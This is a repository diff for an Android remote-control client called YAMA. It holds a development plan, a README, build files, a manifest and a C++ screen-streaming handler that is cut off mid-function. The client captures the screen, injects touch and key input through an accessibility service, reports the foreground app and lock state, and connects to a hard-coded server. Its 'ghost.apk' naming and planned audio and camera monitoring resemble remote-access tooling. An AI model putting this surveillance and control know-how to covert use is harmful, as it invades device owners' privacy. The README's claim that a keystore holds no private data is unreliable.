# Build output
build/
app/build/
# Gradle cache and generated configs
.gradle/
gradle/gradle-daemon-jvm.properties
# Local config (contains SDK path, machine-specific)
local.properties
# Android Studio project files
.idea/
*.iml
# Signing config
*.jks
*.keystore
# Force-track prebuilt static libs (overrides root .gitignore *.a rule)
!app/src/main/cpp/lib/**/*.a

266
android/PLAN.md Normal file
View File

@@ -0,0 +1,266 @@
# Android 客户端开发计划书
> 目标功能:屏幕浏览 + 操作控制(触控/键盘输入注入)
> 参考实现:`linux/` 与 `macos/`,两者已验证的共用策略同样适用于 Android
---
## 一、代码复用分析
### 1.1 可 100% 直接复用NDK 无改动)
| 文件 | 用途 | 依赖 |
|------|------|------|
| `common/ikcp.c/.h` | KCP 可靠 UDP 传输 | 纯 C无 OS 依赖 |
| `common/aes.c/.h` | AES 加密 | 纯 C |
| `common/commands.h` | 协议定义(全平台共享) | 无 |
| `common/client_auth_state.h` | 认证状态机 | 无 |
| `common/posix_net_helpers.h` | POSIX socket 辅助函数 | POSIXAndroid NDK 支持) |
| `common/sub_conn_thread.h` | 子连接线程 | POSIX |
| `common/rtt_estimator.h` | RTT 估计器 | 无 |
| `common/logger.h` | 日志 | 无 |
| `common/locker.h` | 互斥锁 | `std::mutex` |
| `common/FileTransferV2.h` | V2 文件传输协议 | 无 |
| `common/xxhash.h` | xxHash 校验 | 纯头文件 |
| `client/IOCPClient.cpp/.h` | TCP/KCP 连接管理Linux 已复用) | POSIX socket |
| `client/Buffer.cpp/.h` | 数据缓冲区 | 无 |
| `client/sign_shim_unix.cpp` | 签名垫片Linux/macOS 已复用) | `libsign.a` |
### 1.2 可参考逻辑、重新实现 Android 版本
| 现有文件 | Android 对应实现 | 原因 |
|----------|-----------------|------|
| `linux/ScreenHandler.h` | `android/cpp/ScreenHandler.h` | 捕获 API 不同MediaProjection vs X11 |
| `macos/InputHandler.mm` | `ControlService.kt` + `main.cpp::DispatchControlEvent` | 注入方式不同AccessibilityService vs CGEvent |
| `linux/SystemManager.h` | `android/cpp/SystemManager.cpp`Phase 4 | 系统 API 不同 |
| `macos/H264Encoder.mm` | Android MediaCodec 路径Java 侧) | 硬件编码器 API 不同 |
| `linux/main.cpp` | `android/cpp/main.cpp` | 参考连接逻辑,逐段移植 |
### 1.3 不复用Windows 专属)
- `client/ScreenCapturerDXGI.h``client/IOCPBase.h``client/ScreenSpy.cpp`Windows GDI/DXGI
- `client/KeyboardManager.cpp`SendInput API
- `client/KernelManager.cpp``client/ServicesManager.cpp`
---
## 二、技术选型
### 2.1 屏幕捕获
**方案**`MediaProjection` APIAndroid 5.0+
```
MediaProjection
└── VirtualDisplay (Surface)
└── MediaCodec (Surface input零拷贝)
└── H.264 NALU → JNI → C++ ScreenHandler → 网络发送
```
- 无需 root官方公开 API
- 通过 `ForegroundService` + `FOREGROUND_SERVICE_MEDIA_PROJECTION` 维持后台运行
- **实际采用零拷贝路径Path A**VirtualDisplay 的 Surface 直接绑定 `MediaCodec` 输入 Surface无 ImageReader 中间环节
### 2.2 视频编码
**已采用**Android `MediaCodec`(硬件 H.264 加速)✅
- VirtualDisplay Surface → MediaCodec Surface input → H.264 NALU零拷贝
- 关键帧前自动拼接 SPS+PPS确保解码器可初始化
- 每 2 秒强制触发一次 IDR兼容忽略 `KEY_I_FRAME_INTERVAL` 的软编码器)
- 编码分辨率:长边限制 1080保持宽高比宽高各自 2 对齐H.264 要求)
**编码流水线**
```
VirtualDisplay → MediaCodec(Surface input) → CODEC_CONFIG(SPS/PPS) + IDR+P 帧
→ onOutputBufferAvailable → JNI nativeOnH264Frame → C++ g_screenHandlers (broadcast) → TCP
```
### 2.3 输入控制
**已采用**`AccessibilityService``ControlService.kt`)✅
| 事件 | 映射 |
| --- | --- |
| `WM_LBUTTONDOWN/MOVE/UP` | 累积路径UP 时判断:位移 < 10px → 单击dispatchTap否则 → 拖拽dispatchTouchGesture |
| `WM_LBUTTONDBLCLK` | 双击:两次 80ms 手势,间隔 200ms |
| `WM_RBUTTONDOWN` | 长按 600ms |
| `WM_MOUSEWHEEL` | delta > 0滚轮上→ 手指下划 +400pxdelta < 0 → 手指上划 -400px |
| `WM_KEYDOWN` Backspace/ESC | `GLOBAL_ACTION_BACK` |
| `WM_KEYDOWN` VK_HOME (0x24) | `GLOBAL_ACTION_HOME` |
| `WM_KEYDOWN` VK_APPS (0x5D) | `GLOBAL_ACTION_RECENTS` |
| `WM_KEYDOWN` PrtSc (0x2C) | `GLOBAL_ACTION_TAKE_SCREENSHOT` |
**关键实现细节**
- 协议:`COMMAND_SCREEN_CONTROL` + MSG64固定 48 字节),**坐标从 lParamoffset 24读取**,与 Windows/Linux/macOS 客户端完全一致;不读 pt.x/pt.y64-bit MSG 与 MSG64 的 pt 偏移不同,直接读会得到错误 Y 坐标)
- 坐标映射:`phys = enc * physSize / encSize`(编码空间 → 物理屏幕空间)
- 单击路径非退化:`moveTo(x,y); lineTo(x+1,y)`,避免 Android 静默拒绝零长度手势路径
- C++ → Kotlin 回调:`DispatchControlEvent()` 全局函数通过 JNI AttachCurrentThread → `ControlService.onControlEvent(@JvmStatic)` → post 到主线程 Handler
### 2.4 网络传输
与 Linux 完全相同的 POSIX socket 路径:
- TCP 控制通道(`IOCPClient.cpp` 已在 Linux 验证)
- KCP over UDP 视频流(`ikcp.c` 纯 CNDK 直接编译,当前未启用)
- TLS/AES 加密复用 `common/aes.c`
---
## 三、目录结构(实际)
```
android/
├── PLAN.md # 本文件
├── README.md # 编译与安装说明
├── build_apk.sh # 编译脚本release/debug/clean
├── yama-release.jks # 签名密钥库(密码通过 YAMA_PWD 环境变量传入)
├── app/
│ ├── build.gradle
│ ├── proguard-rules.pro # 保留 JNI 方法名
│ └── src/main/
│ ├── AndroidManifest.xml
│ ├── java/com/yama/client/
│ │ ├── MainActivity.kt # 权限申请 + 启动 Service
│ │ ├── CaptureService.kt # ForegroundServiceMediaProjection + MediaCodec
│ │ ├── ControlService.kt # AccessibilityService手势注入 + 全局键 + 活动窗口上报
│ │ └── YamaBridge.kt # JNI 声明nativeInit/Stop/SetScreenSize/OnH264Frame
│ ├── cpp/
│ │ ├── CMakeLists.txt
│ │ ├── main.cpp # NDK 入口:连接/心跳/DataProcess/DispatchControlEvent
│ │ ├── ScreenHandler.h # 子连接管理:发送 BitmapInfo/H264 帧,接收 SCREEN_CONTROL
│ │ ├── android_compat.h # 平台兼容头(强制注入替代修改共用源文件)
│ │ ├── common/ → ../../common/ # 符号链接commands.h 等)
│ │ ├── client/ → ../../client/ # 符号链接IOCPClient 等)
│ │ └── lib/
│ │ ├── arm64-v8a/libsign.a
│ │ ├── arm64-v8a/libzstd.a
│ │ ├── armeabi-v7a/libsign.a
│ │ └── armeabi-v7a/libzstd.a
│ └── res/
│ ├── mipmap-*/ic_launcher.png # 传统图标(各密度)
│ ├── mipmap-*/ic_launcher_foreground.png # Adaptive Icon 前景层
│ ├── mipmap-anydpi-v26/ic_launcher.xml # Adaptive Icon 定义
│ ├── values/colors.xml # ic_launcher_background (#F2F2F2)
│ ├── values/strings.xml
│ └── xml/accessibility_service_config.xml
├── build.gradle (project-level)
└── settings.gradle
```
> **注**:原计划中的 `InputHandler.cpp` 已合并至 `main.cpp``DispatchControlEvent` 全局函数)和 `ControlService.kt``SystemManager.cpp` 留待 Phase 4。
---
## 四、开发阶段
### Phase 0工程初始化 ✅ 已完成
- 创建 Android Studio 项目,配置 NDK + CMake
- `CMakeLists.txt` 引入 `common/``client/` 源文件(与 `linux/CMakeLists.txt` 同构)
- 编译验证 `IOCPClient.cpp + Buffer.cpp + sign_shim_unix.cpp + ikcp.c` 在 NDK 下无错误
- `SimplePlugins/sign_lib/` 新增 `sha256_portable.h`(纯 C零外部依赖`build_android.sh`,在 WSL + NDK r27c 下成功交叉编译,产物已复制至 `android/app/src/main/cpp/lib/{arm64-v8a,armeabi-v7a}/libsign.a`
### Phase 1连接与协议 ✅ 已完成
- 移植 `linux/main.cpp` 的连接逻辑到 `android/cpp/main.cpp`
- `CaptureService.kt` 通过 `YamaBridge.nativeInit()` 启动 C++ 网络线程
- 实现登录握手(`LOGIN_INFOR`)、心跳(`TOKEN_HEARTBEAT` + `CMD_HEARTBEAT_ACK` RTT 估算)、认证状态机(`client_auth_state.h`
- 设备信息上报ANDROID_IDXXH64 作为 ClientID、型号、OS 版本、分辨率
- 心跳日志限流60 秒最多打印一次,避免 logcat 刷屏
### Phase 2屏幕捕获与编码 ✅ 已完成
- `CaptureService.kt`:申请 `MediaProjection`,建立 `VirtualDisplay`Surface 直连 `MediaCodec`
- SPS/PPS 缓存IDR 帧发送前自动拼接,子连接 `COMMAND_NEXT` 后开始推流
- `ScreenHandler.h`:发送 `TOKEN_BITMAPINFO`(含 `ScreenSettings.QualityLevel=H264``SendH264` 封装帧头
- 服务端 H264 解码器正常显示 Android 屏幕 ✅
- 服务端适配:`ScreenSpyDlg.cpp` 新增 `ComputeAdaptiveLayout()` 自适应缩放和信箱黑边,`m_offsetX/Y` 修正坐标映射(已合入 `main` 分支)
### Phase 3操作控制 ✅ 已完成branch: feature/android-remote-control
- `ControlService.kt``AccessibilityService`):手势注入、全局键、双击/长按/滚轮
- `main.cpp::DispatchControlEvent()`JNI 反向调用,将 `COMMAND_SCREEN_CONTROL` 路由到 Kotlin
- `ScreenHandler.h::OnReceive`:子连接也可接收 `COMMAND_SCREEN_CONTROL`,统一调用 `DispatchControlEvent`
- 坐标 Bug 修复64-bit MSG 与 MSG64 的 `pt.x/pt.y` 偏移不同MSG: offset 36MSG64: offset 40改为从 lParam两者均在 offset 24提取坐标与其他所有客户端保持一致
- 单击无效 Bug 修复:零长度手势路径被 Android 静默拒绝tap 改用 `lineTo(x+1, y)` 非退化路径
- 代码审查修复JNI `ExceptionClear()`
### Phase 3 后期修复 ✅ 已完成
发现并修复的生产问题:
| 问题 | 根因 | 修复文件 |
|------|------|---------- |
| 静止屏幕首帧黑屏 10-60 秒 | SurfaceFlinger 空闲优化:无脏区时不向 VirtualDisplay 推帧,`REQUEST_SYNC_FRAME` 永远排队等不到输入帧 | `CaptureService.forceFirstFrame()`VirtualDisplay 临时 resize +2px 触发强制合成;`main.cpp``SendBitmapInfo` 后调用 `ForceFirstFrameFromJava()` |
| 部分硬件编码器 IDR 帧未被识别 | 高通等 SoC 对强制 IDR 不设置 `BUFFER_FLAG_KEY_FRAME``SendLoop` 将其当作 P 帧丢弃,首帧永远发不出 | `CaptureService.isNaluKeyframe()`:扫描 Annex-B NALU type 5/7/8 补充判断 |
| H.264 推流在 `SendBitmapInfo` 前卡住 | 推送模式下服务端 `COMMAND_NEXT` 到达时 `setManagerCallBack` 尚未注册消息被丢弃,`m_started` 永远为 `false` | `ScreenHandler.h::SendBitmapInfo()` 末尾直接 `m_started=true; m_cond.notify_all()` |
| 多用户不能同时观看/控制 | `g_screenHandler` 单指针 + `g_screenSpyRunning` 互斥锁,只允许一条子连接 | `main.cpp`:改为 `std::set<AndroidScreenHandler*> g_screenHandlers``nativeOnH264Frame` 广播给全部 handler每个 `COMMAND_SCREEN_SPY` 独立建立子连接,对齐 Windows/Linux/macOS 客户端行为 |
### Phase 4系统信息与稳定性进行中
**已完成:**
| 功能 | 说明 |
|------|------|
| 活动窗口上报 | `ControlService` 监听 `TYPE_WINDOW_STATE_CHANGED`,通过 JNI `getActiveWindow()` 上报当前前台包名;锁屏时上报 `"Locked"` |
| 心跳间隔下限 | Android 侧将服务端下发的 `ReportInterval` 强制限制为 `max(收到值, 30)`,防止 5s 高频心跳耗电 |
| 服务端心跳超时延长 | `CheckHeartbeat()` 超时阈值从 `max(60, interval*3)` 改为 `max(120, interval*3)`,与 30s 心跳间隔留出 4 倍余量 |
| CPU 频率上报 | `GetCpuMHz()` 优先读 `/sys/devices/system/cpu/*/cpufreq/cpuinfo_max_freq`,虚拟机无此节点时回退读 `/proc/cpuinfo``BogoMIPS` |
| 后台保活 | `ForegroundService` + 持久通知Phase 2 已完成),豁免 Doze 模式网络限制 |
| 应用图标 | 自定义眼睛图标,支持 Android 8+ Adaptive Icon前景层 + 浅灰背景),兼容各厂商形状裁切 |
| Release 签名 | `yama-release.jks` 随仓库分发,密码通过 `YAMA_PWD` 环境变量或交互输入,保证多机一致签名 |
**待完成:**
- 处理 `MediaProjection` 被用户撤销的情况(弹出通知,引导重授权)
- 连接断线自动重连后子连接同步重建(目前 `ScreenSpyThread` 有 20 次重试,但主连接重连后子连接未同步恢复)
- `WM_MBUTTONDOWN`(中键)手势映射(目前静默丢弃)
- `SystemManager` 封装:将 Java 层已上报的设备信息型号、版本、IP统一封装为独立模块
---
## 五、关键约束与风险
| 风险 | 影响 | 状态 |
|------|------|------|
| ~~`libsign.a` 无 ARM 构建~~ | ~~Phase 0 阻塞~~ | ✅ 已解决:`sha256_portable.h` + `build_android.sh` |
| Android 12+ `MediaProjection` 需每次重新申请 | 后台录屏被中断 | `ForegroundService` 保活 + 通知引导重授权 |
| `AccessibilityService` 用户需手动开启 | 操作控制功能受限 | UI 引导流程,说明开启步骤 |
| 某些厂商 ROM 限制后台 Service | 连接断开 | 电池优化白名单申请 |
| H.264 Baseline Level 对齐 | 服务端解码兼容性 | `MediaCodec` 输出指定 `profile=Baseline`,与 x264 现有配置一致 |
| `AccessibilityService` 无法向系统设置页面注入手势 | 设置界面无法远程操作 | Android 安全限制,无解,提示用户 |
---
## 六、代码审查注意事项
### 最高原则:既有功能无破坏
增加 Android 客户端支持时Windows/Linux/macOS 客户端的全部既有功能必须保持正常。每次改动上线前须验证:
| 检查项 | 说明 |
| --- | --- |
| `isAndroidRemote` 初始值为 `false` | 非 Android 客户端走原有代码路径,不受影响 |
| `updateUIForOrientation()` Android 分支有 `isAndroidRemote &&` 守卫 | 非 Android 客户端不会进入沉浸模式分支 |
| `NotifyResolutionChange` 新参数有默认值 `= ""` | 现有调用点即便漏传也能正常编译和运行 |
| `FindHostByClientID``FindHostByIP` 一致的指针返回约定 | ScreenSpyDlg 在 UI 线程OnInitDialog调用OnReceiveComplete 在 IO 线程调用,后者读 `additonalInfo[]` 为只读操作,低概率竞争 |
| Web 端坐标映射 `getTouchPos` 使用 `getBoundingClientRect()` | 动态取 canvas 实际显示尺寸CSS 拉伸不影响坐标精度 |
| Android 边缘手势检测有时间和距离双重门槛 | 普通慢速拖拽不会被误识别为系统手势 |
### 审查流程
1. `git diff HEAD` 逐文件审查,重点关注非 Android 代码路径的改动
2. 确认所有新增条件分支均以 `isAndroidRemote``client_type === 'APK'` 等 Android 专有标志守卫
3. 共享协议结构体(`commands.h``LOGIN_INFOR``szReserved`)改动需确认向前/向后兼容
4. 服务端 C++ 改动在 Windows 下编译,前端 `index.html` 在桌面和移动浏览器两端验证
---
## 七、不在本期范围
- 音频监听(`AudioRecord` + Opus 编码)
- 文件管理(已有 `FileTransferV2`,后期可直接接入)
- 摄像头(前/后摄)
- Shell 终端(`/system/bin/sh` + PTY可参考 `PTYHandler.h`
- Root 特权功能uinput、内核注入

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# YAMA Android 客户端
YAMA 的 Android 客户端,允许服务端将 Android 设备作为受控主机进行远程查看和操控。功能包括:
- 屏幕实时截图并推流给服务端
- 接收服务端的触控/按键指令并注入到系统
- 后台保持心跳连接,支持长期驻留
---
## 编译前:配置服务端地址
服务端 IP 和端口在源码中硬编码,编译前必须修改:
文件:`app/src/main/java/com/yama/client/MainActivity.kt`
```kotlin
private val serverIp = "91.99.165.207" // 改为你的服务端 IP
private val serverPort = 443 // 改为你的服务端端口
```
改完再执行编译,否则客户端连不上服务端。
---
## 编译环境
**WSLUbuntu或原生 Linux** 上编译Windows 原生环境不支持。
| 依赖 | 版本要求 | 安装命令 |
|---|---|---|
| Java | 17+ | `sudo apt install openjdk-17-jdk` |
| CMake | 3.22+ | `sudo apt install cmake` |
| Ninja | 任意 | `sudo apt install ninja-build` |
| Android SDK | 含 build-tools | 见下方说明 |
| Android NDK | 30.xLinux 版) | 见下方说明 |
### Android SDK
推荐通过 Android Studio 安装,安装后 SDK 默认在:
- Windows`%USERPROFILE%\AppData\Local\Android\Sdk`
- Linux`~/Android/Sdk`
WSL 环境下脚本会自动检测 Windows 侧的 SDK也可以手动指定
```bash
export ANDROID_HOME=/mnt/c/Users/<用户名>/AppData/Local/Android/Sdk
```
### Android NDKLinux 版)
> **重要**:必须使用 **Linux 版 NDK**Windows NDK 的 `.exe` 工具无法在 WSL 内执行。
```bash
# 下载 Linux NDK约 600 MB
wget https://dl.google.com/android/repository/android-ndk-r30b-linux.zip
unzip android-ndk-r30b-linux.zip -d $HOME
# 解压目录名可能带字母后缀r30、r30b 等),统一重命名
mv $HOME/android-ndk-r30* $HOME/android-ndk
```
脚本会自动检测 `~/android-ndk`,也可以通过环境变量指定:
```bash
export ANDROID_NDK_HOME=$HOME/android-ndk
```
---
## 签名密钥(一次性准备)
Release APK 需要签名密钥。密钥库文件 `yama-release.jks` 已在仓库中,**密码需向仓库维护者获取**,或通过以下方式传入:
```bash
# 方式一:环境变量(推荐,避免每次输入)
export YAMA_PWD=密钥库密码
# 方式二:编译时脚本会交互提示输入
```
如需重新生成密钥库(密码遗失等情况):
```bash
cd android/
keytool -genkeypair -keystore yama-release.jks \
-alias yama -keyalg RSA -keysize 2048 -validity 10000 \
-dname 'CN=YAMA,O=Internal,C=CN'
```
> 密钥库文件本身不含私密信息,可以提交到 git密码不要提交。
> 重新生成密钥库后,已安装旧版本的设备需要先卸载再安装。
---
## 编译
在 WSL 或 Linux 终端中,进入 `android/` 目录:
```bash
cd android/
# 编译 Release默认约 1.7 MB推荐部署用
./build_apk.sh
# 编译 Debug约 4 MB含调试符号开发排查用
./build_apk.sh debug
# 清理所有编译产物(切换配置或遇到奇怪错误时使用)
./build_apk.sh clean
```
编译成功后产物:
| 类型 | 路径 |
|---|---|
| Release | `ghost.apk` |
| Debug | `ghost-debug.apk` |
---
## 安装到设备
### 1. 传输 APK
`ghost.apk` 拷贝到手机USB 传输、微信文件传输等均可)。
### 2. 安装
在手机上用文件管理器找到 APK点击安装。
如提示"禁止安装未知来源应用",需先开启允许:
- **Android 8+**:设置 → 应用 → 找到你使用的文件管理器 → 允许安装未知应用
- **MIUI/ColorOS 等**:设置 → 隐私/安全 → 安装未知应用
### 3. 解除受限设置Android 13+ 必须)
Android 13 及以上系统对手动安装的 APK 有额外限制,若不解除,无法授权 Accessibility Service
1. 打开 **设置 → 应用 → YAMA**
2. 点击右上角 **三点菜单**
3. 选择 **"允许受限设置"**Allow restricted settings
4. 使用 PIN 或指纹确认
> 此步骤每次重新安装 APK 后都需要重复执行一次。
### 4. 授权必要权限
**Accessibility Service**(必须,用于注入触控/按键)
设置 → 无障碍 → 已安装的应用 → YAMA → 开启
> 重装 APK 后此权限会被重置,需重新授权。
### 5. 启动
点击桌面 YAMA 图标启动,系统会弹出屏幕录制确认框,点击 **"立即开始"** 授权。
授权后应用进入后台运行,通知栏会显示一条持久通知表示服务正在运行。此后服务端即可在主机列表中看到该设备。
> 屏幕录制确认在每次应用重启后都会弹出,这是 Android 系统的强制要求,无法跳过。
---
## 注意事项
- 建议在电池优化设置中将 YAMA 设为 **"不限制"**(或"不优化"),防止系统在后台将其杀掉
- 路径:设置 → 应用 → YAMA → 电池 → 不限制
- 心跳间隔最小 30 秒,长期后台运行耗电量与微信后台相当
- 服务端可在设置中调大上报间隔(建议不超过 60 秒)以进一步降低耗电

83
android/app/build.gradle Normal file
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plugins {
id 'com.android.application'
id 'org.jetbrains.kotlin.android'
}
// 模拟器调试时传 -PincludeEmulatorAbis=truebuild_apk.sh 发布时强制传 false
def INCLUDE_EMULATOR_ABIS = project.findProperty('includeEmulatorAbis')?.toBoolean() ?: false
android {
namespace 'com.yama.client'
compileSdk 35
ndkVersion "30.0.14904198"
defaultConfig {
applicationId "com.yama.client"
minSdk 21
targetSdk 35
versionCode 1
versionName "1.0"
ndk {
if (INCLUDE_EMULATOR_ABIS) {
abiFilters 'arm64-v8a', 'armeabi-v7a', 'x86', 'x86_64'
} else {
abiFilters 'arm64-v8a', 'armeabi-v7a'
}
}
externalNativeBuild {
cmake {
cppFlags '-std=c++17'
arguments '-DANDROID_STL=c++_static'
}
}
}
externalNativeBuild {
cmake {
path "src/main/cpp/CMakeLists.txt"
version "3.22.1"
}
}
signingConfigs {
release {
storeFile file("../yama-release.jks")
storePassword System.getenv("YAMA_PWD") ?: ""
keyAlias 'yama'
keyPassword System.getenv("YAMA_PWD") ?: ""
}
}
buildTypes {
release {
minifyEnabled true
shrinkResources true
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'),
'proguard-rules.pro'
signingConfig signingConfigs.release
}
}
packagingOptions {
jniLibs {
// .so 文件不压缩ZIP_STORED使服务端 patch 工具可直接在 APK 中搜索 FLAG_GHOST
useLegacyPackaging false
}
}
compileOptions {
sourceCompatibility JavaVersion.VERSION_17
targetCompatibility JavaVersion.VERSION_17
}
kotlinOptions {
jvmTarget = '17'
}
}
dependencies {
implementation 'androidx.core:core-ktx:1.13.1'
implementation 'androidx.appcompat:appcompat:1.7.0'
}

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# Keep all app classes JNI method names must match exactly
-keep class com.yama.client.** { *; }

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<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_MEDIA_PROJECTION" />
<application
android:allowBackup="false"
android:extractNativeLibs="false"
android:icon="@mipmap/ic_launcher"
android:roundIcon="@mipmap/ic_launcher_round"
android:label="YAMA"
android:supportsRtl="true"
android:theme="@style/Theme.YAMA">
<activity
android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service
android:name=".CaptureService"
android:foregroundServiceType="dataSync|mediaProjection"
android:exported="false" />
<service
android:name=".ControlService"
android:description="@string/accessibility_service_description"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="true">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data
android:name="android.accessibilityservice"
android:resource="@xml/accessibility_service_config" />
</service>
</application>
</manifest>

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cmake_minimum_required(VERSION 3.22)
project(yama_client LANGUAGES CXX C)
set(CMAKE_CXX_STANDARD 17)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
set(CMAKE_CXX_EXTENSIONS OFF)
# YAMA 根目录相对于本文件cpp/ → main/ → src/ → app/ → android/ → YAMA/
get_filename_component(YAMA_ROOT "${CMAKE_CURRENT_SOURCE_DIR}/../../../../../" ABSOLUTE)
# ---- 头文件搜索路径(与 linux/CMakeLists.txt 同构)----
include_directories(
${YAMA_ROOT}
${YAMA_ROOT}/client
${YAMA_ROOT}/compress
${CMAKE_CURRENT_SOURCE_DIR} # android_compat.h
)
# ---- 强制注入兼容头(替代修改共用源文件)----
add_compile_options(-include "${CMAKE_CURRENT_SOURCE_DIR}/android_compat.h")
# ---- 核心源文件(与 linux/CMakeLists.txt 相同)----
set(CORE_SOURCES
${YAMA_ROOT}/client/Buffer.cpp
${YAMA_ROOT}/client/IOCPClient.cpp
${YAMA_ROOT}/client/sign_shim_unix.cpp
${YAMA_ROOT}/common/logger.cpp
${YAMA_ROOT}/common/ikcp.c
)
# ---- Android NDK 入口 ----
set(ANDROID_SOURCES
main.cpp
)
add_library(yama SHARED ${CORE_SOURCES} ${ANDROID_SOURCES})
# ---- 预编译静态库(由 android/build_android_libs.ps1 产出)----
# 支持 arm64-v8a / armeabi-v7a真机和 x86 / x86_64Android 模拟器)
target_link_libraries(yama PRIVATE
"${CMAKE_CURRENT_SOURCE_DIR}/lib/${ANDROID_ABI}/libsign.a"
)
target_link_libraries(yama PRIVATE
"${CMAKE_CURRENT_SOURCE_DIR}/lib/${ANDROID_ABI}/libzstd.a"
)
# ---- Android 系统库 ----
target_link_libraries(yama PRIVATE android log)
# ---- 编译选项 ----
target_compile_options(yama PRIVATE
-O2
-fvisibility=hidden
-Wno-unused-parameter
-Wno-missing-field-initializers
)

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#pragma once
// Android 屏幕处理器:管理截屏子连接,接收 Java 侧 MediaCodec 输出的 H.264 NALU
// 按协议封装后通过子连接发送给服务端。
#include "common/commands.h"
#include "client/IOCPClient.h"
#include <atomic>
#include <mutex>
#include <condition_variable>
#include <queue>
#include <vector>
#include <thread>
#include <cstring>
#include <cinttypes>
#include <android/log.h>
#define LOGI_SH(...) __android_log_print(ANDROID_LOG_INFO, "YAMA_SCR", __VA_ARGS__)
#define LOGE_SH(...) __android_log_print(ANDROID_LOG_ERROR, "YAMA_SCR", __VA_ARGS__)
extern uint64_t g_myClientID;
// 定义在 main.cpp供子连接的 OnReceive 调用
extern void DispatchControlEvent(uint32_t msgVal, uint64_t wParam, int32_t ptX, int32_t ptY);
// Linux/macOS 共用的 BITMAPINFOHEADER 布局(与 Windows 完全一致)
#pragma pack(push, 1)
struct BmpInfoHeader {
uint32_t biSize;
int32_t biWidth;
int32_t biHeight;
uint16_t biPlanes;
uint16_t biBitCount;
uint32_t biCompression;
uint32_t biSizeImage;
int32_t biXPelsPerMeter;
int32_t biYPelsPerMeter;
uint32_t biClrUsed;
uint32_t biClrImportant;
};
#pragma pack(pop)
class AndroidScreenHandler : public IOCPManager {
public:
AndroidScreenHandler(IOCPClient* client, int width, int height)
: m_client(client), m_width(width), m_height(height),
m_started(false), m_running(true), m_firstSent(false)
{
memset(&m_bmpHdr, 0, sizeof(m_bmpHdr));
m_bmpHdr.biSize = sizeof(BmpInfoHeader);
m_bmpHdr.biWidth = width;
m_bmpHdr.biHeight = height;
m_bmpHdr.biPlanes = 1;
m_bmpHdr.biBitCount = 32;
m_bmpHdr.biCompression = 0;
m_bmpHdr.biSizeImage = (uint32_t)(width * height * 4);
// 1 = top-down H264Android MediaCodec 标准编码顺序);
// 服务端据此用负步长写 DIB抵消 GDI bottom-up 翻转
m_bmpHdr.biClrImportant = 1;
m_sendThread = std::thread(&AndroidScreenHandler::SendLoop, this);
}
~AndroidScreenHandler() {
m_running = false;
m_cond.notify_all();
if (m_sendThread.joinable())
m_sendThread.join();
}
// 子连接建立后立即调用,告知服务端屏幕尺寸和编码格式
void SendBitmapInfo() {
const uint32_t total = 1 + sizeof(BmpInfoHeader) + 2 * sizeof(uint64_t) + sizeof(ScreenSettings);
std::vector<uint8_t> buf(total, 0);
buf[0] = TOKEN_BITMAPINFO;
memcpy(&buf[1], &m_bmpHdr, sizeof(BmpInfoHeader));
uint64_t clientID = g_myClientID;
uint64_t zero = 0;
size_t off = 1 + sizeof(BmpInfoHeader);
memcpy(&buf[off], &clientID, 8);
memcpy(&buf[off + 8], &zero, 8);
ScreenSettings ss = {};
ss.MaxFPS = 10;
ss.ScreenWidth = m_width;
ss.ScreenHeight = m_height;
ss.QualityLevel = QUALITY_GOOD; // 告知服务端使用 H264 解码器
ss.ScreenType = USING_VIRTUAL; // 虚拟显示
memcpy(&buf[off + 16], &ss, sizeof(ss));
m_client->Send2Server((char*)buf.data(), total);
LOGI_SH("SendBitmapInfo %dx%d clientID=%" PRIu64, m_width, m_height, clientID);
// H.264 是推送模式,不需要等 COMMAND_NEXT 才开始发帧。
// 服务端在 auth 通过瞬间发 COMMAND_NEXT此时 setManagerCallBack 尚未注册,
// 消息被 WorkThread 丢弃m_started 永远 false 导致帧全部卡在队列里。
m_started = true;
m_cond.notify_all();
}
// 由 JNI 线程调用,投递 MediaCodec 输出的 NALU
void OnFrameData(const uint8_t* data, uint32_t size, bool isKeyframe) {
if (!m_running || size == 0) return;
{
std::lock_guard<std::mutex> lk(m_mutex);
while (m_queue.size() >= 6) m_queue.pop();
m_queue.push({std::vector<uint8_t>(data, data + size), isKeyframe});
}
m_cond.notify_one();
}
virtual VOID OnReceive(PBYTE data, ULONG size) override {
if (!size) return;
switch (data[0]) {
case COMMAND_NEXT:
// 推送模式下已在 SendBitmapInfo 里开始推流;此处保留兼容,无副作用。
LOGI_SH("COMMAND_NEXT received");
m_started = true;
m_cond.notify_all();
break;
case CMD_QUALITY_LEVEL:
if (size >= 2) LOGI_SH("QualityLevel=%d", (int)(int8_t)data[1]);
break;
case COMMAND_SCREEN_CONTROL: {
// 服务端通过子连接下发鼠标/键盘控制包MSG64 固定 48 字节)
// 坐标从 lParamoffset 24读取与 Windows/Linux/macOS 客户端一致:
// lParam = MAKELPARAM(enc_x, enc_y)低16位=x高16位=y。
// 不读 pt.x/pt.y (offset 40/44)64-bit MSG 的 pt 在 offset 36
// 与 MSG64 offset 40 不同,直接读会得到错误坐标。
if ((ULONG)size < 1 + 48u) break;
const uint8_t* p = data + 1;
uint64_t msgVal = 0, wParam = 0, lParam = 0;
memcpy(&msgVal, p + 8, 8);
memcpy(&wParam, p + 16, 8);
memcpy(&lParam, p + 24, 8);
int32_t ptX = (int32_t)(int16_t)(lParam & 0xFFFF);
int32_t ptY = (int32_t)(int16_t)((lParam >> 16) & 0xFFFF);
DispatchControlEvent((uint32_t)msgVal, wParam, ptX, ptY);
break;
}
default:
break;
}
}
private:
struct Frame { std::vector<uint8_t> data; bool isKeyframe; };
IOCPClient* m_client;
int m_width, m_height;
std::atomic<bool> m_started;
std::atomic<bool> m_running;
std::atomic<bool> m_firstSent;
std::atomic<bool> m_skipLogged{false};
BmpInfoHeader m_bmpHdr;
std::queue<Frame> m_queue;
std::mutex m_mutex;
std::condition_variable m_cond;
std::thread m_sendThread;
void SendLoop() {
while (m_running) {
std::unique_lock<std::mutex> lk(m_mutex);
m_cond.wait(lk, [&]{ return (!m_queue.empty() && m_started) || !m_running; });
if (!m_running) break;
